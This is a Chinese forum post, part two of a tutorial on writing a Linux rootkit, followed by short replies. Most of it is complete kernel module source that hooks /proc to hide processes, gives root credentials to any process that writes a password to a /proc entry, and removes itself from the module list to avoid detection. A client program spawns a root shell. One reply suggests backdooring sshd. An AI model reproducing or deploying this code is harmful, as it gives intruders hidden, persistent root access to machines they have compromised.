为 Linux 编写一个简单的 rootkit（2）

如梦方醒

• 现在是时候展示我们的 rootkit 代码了。如果我还没有解释一些东西，我会把它描述为代码中的注释。
  

• 起初，rootkit_conf.conf.h。
  配置文件！
  1. [backcolor=white]static char password[] = "secretpassword" ; //give here password
     
  2. static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
     
  3. static char module_release[] = "release" ; //command to release the module(make possible to unload it)
     
  4. static char module_uncover[] = "uncover" ; //command to show the module
     
  5. static char hide_proc[] = "hide" ; //command to hide specified process
     
  6. static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process[/backcolor]

  复制代码
  rootkit.c：
  1. [backcolor=white]#include <linux/module.h>
     
  2. #include <linux/kernel.h>
     
  3. #include <linux/proc_fs.h>
     
  4. #include <linux/sched.h>
     
  5. #include <linux/string.h>
     
  6. #include <linux/cred.h>
     
  7. #include <linux/stat.h>
     
  8. #include <linux/uaccess.h>
     
  9. #include <linux/file.h>
     
  10. 
      
  11. #include "rootkit_conf.conf.h"
      
  12. 
      
  13. MODULE_LICENSE("GPL") ;
      
  14. MODULE_AUTHOR("Ormi<[email]ormi.ormi@gmail.com[/email]>") ;
      
  15. MODULE_DESCRIPTION("Simple rootkit using procfs") ;
      
  16. MODULE_VERSION("0.1.2");
      
  17. 
      
  18. static int failed;
      
  19. static char pid[10][32];
      
  20. static int pid_index;
      
  21. 
      
  22. /* Here are pointers in which we save original, replaced pointers. We use them later, during unloading the module.
      
  23. I think that their names explain what they are ;) */
      
  24. static int (*old_proc_readdir)(struct file *, void *, filldir_t);
      
  25. static filldir_t old_filldir ;
      
  26. static ssize_t (*old_fops_write) (struct file *, const char __user *,
      
  27. size_t, loff_t *);
      
  28. static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t *);
      
  29. static write_proc_t *old_write;
      
  30. static read_proc_t *old_read;
      
  31. 
      
  32. static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
      
  33. static struct proc_dir_entry *root; /* Pointer to /proc directory */
      
  34. static struct list_head *prev; /* Pointer to entry in main modules list which was before our module before we hid the rootkit */
      
  35. 
      
  36. static struct file_operations *fops; /* file_operations of infected entry */
      
  37. static struct file_operations *root_fops; /* file_operations of /proc directory */
      
  38. 
      
  39. static inline void module_remember_info(void)
      
  40. {
      
  41. prev = THIS_MODULE->list.prev;
      
  42. }
      
  43. 
      
  44. static inline void module_show(void)
      
  45. {
      
  46. list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
      
  47. }
      
  48. 
      
  49. /* Parameter of this function is pointer to buffer in which there should be command */
      
  50. static int check_buf(const char __user *buf)
      
  51. {
      
  52. /* Here we give root privileges */
      
  53. struct cred *new = prepare_creds();
      
  54. if (!strcmp(buf, password)) {
      
  55. new->uid = new->euid = 0;
      
  56. new->gid = new->egid = 0;
      
  57. commit_creds(new);
      
  58. }
      
  59. 
      
  60. /* Here we make possible to unload the module by "rmmod" */
      
  61. else if (!strcmp(buf, module_release))
      
  62. module_put(THIS_MODULE);
      
  63. /* Here we make module visible */
      
  64. else if (!strcmp(buf, module_uncover))
      
  65. module_show();
      
  66. /* We hide process */
      
  67. else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
      
  68. if (pid_index > 9)
      
  69. return 0;
      
  70. sprintf(pid[pid_index], "%s", buf + 5);
      
  71. pid_index++;
      
  72. }
      
  73. /* We "unhide" lastly hidden process */
      
  74. else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
      
  75. if (!pid_index)
      
  76. return 0;
      
  77. pid_index--;
      
  78. }
      
  79. /* If we are here, there was no command passed */
      
  80. else
      
  81. return 1;
      
  82. return 0;
      
  83. }
      
  84. 
      
  85. /* Our "write" function */
      
  86. static int buf_write(struct file *file, const char __user *buf,
      
  87. unsigned long count, void *data)
      
  88. {
      
  89. /* If check_buf return 0, there was command passed */
      
  90. if (!check_buf(buf))
      
  91. return count;
      
  92. /* Otherwise we execute original function */
      
  93. return old_write(file, buf, count, data);
      
  94. }
      
  95. 
      
  96. /* Our "read" function for read_proc field*/
      
  97. static int buf_read(char __user *buf, char **start, off_t off,
      
  98. int count, int *eof, void *data)
      
  99. {
      
  100. if (!check_buf(buf))
       
  101. return count;
       
  102. return old_read(buf, start, off, count, eof, data);
       
  103. }
       
  104. 
       
  105. /* For file_operations structure */
       
  106. static ssize_t fops_write(struct file *file, const char __user *buf_user,
       
  107. size_t count, loff_t *p)
       
  108. {
       
  109. if (!check_buf(buf_user))
       
  110. return count;
       
  111. return old_fops_write(file, buf_user, count, p);
       
  112. }
       
  113. 
       
  114. /* For file_operations structure */
       
  115. static ssize_t fops_read(struct file *file, char __user *buf_user,
       
  116. size_t count, loff_t *p)
       
  117. {
       
  118. if (!check_buf(buf_user))
       
  119. return count;
       
  120. return old_fops_read(file, buf_user, count, p);
       
  121. }
       
  122. 
       
  123. /* Our filldir function */
       
  124. static int new_filldir(void *__buf, const char *name, int namelen,
       
  125. loff_t offset, u64 ino, unsigned d_type)
       
  126. {
       
  127. int i;
       
  128. /* We check if "name" is pid of one of hidden processes */
       
  129. for (i = 0; i < pid_index; i++)
       
  130. if (!strcmp(name, pid[i]))
       
  131. return 0; /* If yes, we don't display it */
       
  132. /* Otherwise we invoke original filldir */
       
  133. return old_filldir(__buf, name, namelen, offset, ino, d_type);
       
  134. }
       
  135. 
       
  136. /* Our readdir function */
       
  137. static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
       
  138. {
       
  139. /* To invoke original filldir in new_filldir we have to remeber pointer to original filldir */
       
  140. old_filldir = filldir;
       
  141. /* We invoke original readdir, but as "filldir" parameter we give pointer to our filldir */
       
  142. return old_proc_readdir(filp, dirent, new_filldir) ;
       
  143. }
       
  144. 
       
  145. /* Here we replace readdir function of /proc */
       
  146. static inline void change_proc_root_readdir(void)
       
  147. {
       
  148. root_fops = (struct file_operations *)root->proc_fops;
       
  149. old_proc_readdir = root_fops->readdir;
       
  150. root_fops->readdir = new_proc_readdir;
       
  151. }
       
  152. 
       
  153. static inline void proc_init(void)
       
  154. {
       
  155. 
       
  156. ptr = create_proc_entry("temporary", 0444, NULL);
       
  157. ptr = ptr->parent;
       
  158. /* ptr->parent was pointer to /proc directory */
       
  159. /* If it wasn't, something is seriously wrong */
       
  160. if (strcmp(ptr->name, "/proc") != 0) {
       
  161. failed = 1;
       
  162. return;
       
  163. }
       
  164. root = ptr;
       
  165. remove_proc_entry("temporary", NULL);
       
  166. change_proc_root_readdir(); /* We change /proc's readdir function */
       
  167. ptr = ptr->subdir;
       
  168. /* Now we are searching entry we want to infect */
       
  169. while (ptr) {
       
  170. if (strcmp(ptr->name, passwaiter) == 0)
       
  171. goto found; /* Ok, we found it */
       
  172. ptr = ptr->next; /* Otherwise we go to next entry */
       
  173. }
       
  174. /* If we didn't find it, something is wrong :( */
       
  175. failed = 1;
       
  176. return;
       
  177. found:
       
  178. /* Let's begin infecting */
       
  179. /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
       
  180. old_write = ptr->write_proc;
       
  181. old_read = ptr->read_proc;
       
  182. 
       
  183. fops = (struct file_operations *)ptr->proc_fops; /* Pointer to file_operations structure of infected entry */
       
  184. old_fops_read = fops->read;
       
  185. old_fops_write = fops->write;
       
  186. 
       
  187. /* We replace write_proc/read_proc */
       
  188. if (ptr->write_proc)
       
  189. ptr->write_proc = buf_write;
       
  190. else if (ptr->read_proc)
       
  191. ptr->read_proc = buf_read;
       
  192. /* We replace read/write from file_operations */
       
  193. if (fops->write)
       
  194. fops->write = fops_write;
       
  195. else if (fops->read)
       
  196. fops->read = fops_read;
       
  197. 
       
  198. /* There aren't any reading/writing functions? Error! */
       
  199. if (!ptr->read_proc && !ptr->write_proc &&
       
  200. !fops->read && !fops->write) {
       
  201. failed = 1;
       
  202. return;
       
  203. }
       
  204. }
       
  205. 
       
  206. /* This functions does some "cleanups". If we don't set some pointers tu NULL,
       
  207. we can cause Oops during unloading rootkit. We free some structures,
       
  208. because we don't want to waste memory... */
       
  209. static inline void tidy(void)
       
  210. {
       
  211. kfree(THIS_MODULE->notes_attrs);
       
  212. THIS_MODULE->notes_attrs = NULL;
       
  213. kfree(THIS_MODULE->sect_attrs);
       
  214. THIS_MODULE->sect_attrs = NULL;
       
  215. kfree(THIS_MODULE->mkobj.mp);
       
  216. THIS_MODULE->mkobj.mp = NULL;
       
  217. THIS_MODULE->modinfo_attrs->attr.name = NULL;
       
  218. kfree(THIS_MODULE->mkobj.drivers_dir);
       
  219. THIS_MODULE->mkobj.drivers_dir = NULL;
       
  220. }
       
  221. 
       
  222. /*
       
  223. We must delete some structures from lists to make rootkit harder to detect.
       
  224. */
       
  225. static inline void rootkit_hide(void)
       
  226. {
       
  227. list_del(&THIS_MODULE->list);
       
  228. kobject_del(&THIS_MODULE->mkobj.kobj);
       
  229. list_del(&THIS_MODULE->mkobj.kobj.entry);
       
  230. }
       
  231. 
       
  232. static inline void rootkit_protect(void)
       
  233. {
       
  234. try_module_get(THIS_MODULE);
       
  235. }
       
  236. 
       
  237. static int __init rootkit_init(void)
       
  238. {
       
  239. module_remember_info();
       
  240. proc_init();
       
  241. if (failed)
       
  242. return 0;
       
  243. rootkit_hide();
       
  244. tidy();
       
  245. rootkit_protect();
       
  246. 
       
  247. return 0 ;
       
  248. 
       
  249. }
       
  250. 
       
  251. static void __exit rootkit_exit(void)
       
  252. {
       
  253. /* If failed, we don't have to do any cleanups */
       
  254. if (failed)
       
  255. return;
       
  256. root_fops->readdir = old_proc_readdir;
       
  257. fops->write = old_fops_write;
       
  258. fops->read = old_fops_read;
       
  259. ptr->write_proc = old_write;
       
  260. ptr->read_proc = old_read;
       
  261. }
       
  262. 
       
  263. module_init(rootkit_init);
       
  264. module_exit(rootkit_exit);[/backcolor]

  复制代码
  看看向我们的条目发送命令的示例程序：
  1. [backcolor=white]#include <stdio.h>
     
  2. #include <unistd.h>
     
  3. #include <fcntl.h>
     
  4. #include <string.h>
     
  5. #include <errno.h>
     
  6. #include <sys/stat.h>
     
  7. 
     
  8. #include "rootkit_conf.conf.h"
     
  9. 
     
  10. char file[64];
      
  11. char command[64];
      
  12. int root = 0;
      
  13. 
      
  14. int main(int argc, char *argv[]) {
      
  15. if(argc < 2) {
      
  16. fprintf(stderr, "Usage: %s <command>\n", argv[0]);
      
  17. return 1;
      
  18. }
      
  19. int fd ;
      
  20. /* We get path to infected entry */
      
  21. sprintf(file, "/proc/%s", passwaiter);
      
  22. /* If sent command is equal to command which has to give us root, we must run shell at the end */
      
  23. if(!strcmp(argv[1], password))
      
  24. root = 1;
      
  25. /* At first we try to write command to that entry */
      
  26. fd = open(file, O_WRONLY) ;
      
  27. if(fd < 1) {
      
  28. printf("Opening for writing failed! Trying to open for reading!\n");
      
  29. /* Otherwise, we send command by reading */
      
  30. fd = open(file, O_RDONLY);
      
  31. if(!fd) {
      
  32. perror("open");
      
  33. return 1;
      
  34. }
      
  35. read(fd, argv[1], strlen(argv[1]));
      
  36. }
      
  37. else
      
  38. write(fd, argv[1], strlen(argv[1]));
      
  39. end:
      
  40. close(fd) ;
      
  41. printf("[+] I did it!\n") ;
      
  42. /* if we have to get root, we run shell */
      
  43. if(root) {
      
  44. uid_t uid = getuid() ;
      
  45. printf("[+] Success! uid=%i\n", uid) ;
      
  46. setuid(0) ;
      
  47. setgid(0) ;
      
  48. execl("/bin/bash", "bash", 0) ;
      
  49. }
      
  50. return 0;
      
  51. }[/backcolor]

  复制代码
  你可以问“为什么rootkit中的所有内容都被定义为'静态'”？因为定义为静态的东西不会导出到 /proc/kallsyms。它使 Rootkit 更难检测。
  

烽火戏诸侯⁡

支持一下

燎原百斩

支持一下

白马无归

感谢大佬分享

⁠卢本伟

感谢分享

清闲

感谢分享

欣冉

感谢分享

JQK

感谢分享，自己觉得在常规服务里如sshd里带些私货更省事